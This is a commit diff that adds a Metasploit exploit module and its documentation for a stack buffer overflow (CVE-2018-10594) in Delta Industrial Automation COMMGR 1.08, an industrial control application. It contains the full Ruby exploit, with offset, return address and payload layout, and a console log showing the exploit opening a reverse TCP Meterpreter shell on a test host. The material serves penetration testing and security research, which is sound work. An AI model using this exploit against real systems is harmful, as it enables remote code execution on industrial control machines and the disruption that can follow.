Land #10672, Add COMMGR Buffer Overflow module
parent
2c34813e6b
commit
ec5530ece1
|
@ -0,0 +1,67 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Delta Electronics Delta Industrial Automation COMMGR 1.08 is affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code. This module has been tested successfully on Windows XP SP3, Windows 7 SP1, and Windows 8.1. The vulnerable application is available for download at http://www.deltaww.com/Products/PluginWebUserControl/downloadCenterCounter.aspx?DID=7763&DocPath=1&hl=en-US.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Delta Industrial Automation COMMGR 1.08
|
||||
2. Start ```msfconsole```
|
||||
3. Do ```use exploit/windows/scada/delta_ia_commgr_bof```
|
||||
4. Do ```set RHOST <target_ip>```
|
||||
5. Do ```run```
|
||||
6. You should get a shell. :)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Delta Industrial Automation COMMGR 1.08 on Windows 7 SP1
|
||||
|
||||
```
|
||||
msf > use exploit/windows/scada/delta_ia_commgr_bof
|
||||
msf exploit(windows/scada/delta_ia_commgr_bof) > show options
|
||||
|
||||
Module options (exploit/windows/scada/delta_ia_commgr_bof):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST yes The target address
|
||||
RPORT 502 yes The target port (TCP)
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 COMMGR 1.08 / Windows Universal
|
||||
|
||||
|
||||
msf exploit(windows/scada/delta_ia_commgr_bof) > set RHOST 192.168.3.64
|
||||
RHOST => 192.168.3.64
|
||||
msf exploit(windows/scada/delta_ia_commgr_bof) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.3.150:4444
|
||||
[*] 192.168.3.64:502 - Trying target COMMGR 1.08 / Windows Universal, sending 4601 bytes...
|
||||
[*] Sending stage (179779 bytes) to 192.168.3.64
|
||||
[*] Meterpreter session 1 opened (192.168.3.150:4444 -> 192.168.3.64:49170) at 2018-09-18 23:38:51 -0700
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST01
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > shell
|
||||
Process 932 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files (x86)\Delta Industrial Automation\COMMGR 1.08>exit
|
||||
exit
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.3.64 - Meterpreter session 1 closed. Reason: User exit
|
||||
msf exploit(windows/scada/delta_ia_commgr_bof) >
|
||||
```
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial
|
||||
Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially
|
||||
crafted packets. This module has been tested successfully on Delta Electronics Delta
|
||||
Industrial Automation COMMGR 1.08 over
|
||||
Windows XP SP3,
|
||||
Windows 7 SP1, and
|
||||
Windows 8.1.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
't4rkd3vilz', # PoC
|
||||
'hubertwslin' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '44965'],
|
||||
[ 'CVE', '2018-10594']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 640,
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'COMMGR 1.08 / Windows Universal',
|
||||
{
|
||||
'Ret' => 0x00401e14, # p/p/r COMMGR.exe
|
||||
'Offset' => 4164
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Jul 02 2018',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(502)
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
data = rand_text_alpha(target['Offset'])
|
||||
data << "\xeb\x27\x90\x90" # jmp short $+27 to the NOP sled
|
||||
data << [target.ret].pack("V")
|
||||
data << make_nops(40)
|
||||
data << payload.encoded
|
||||
|
||||
print_status("Trying target #{target.name}, sending #{data.length} bytes...")
|
||||
connect
|
||||
sock.put(data)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue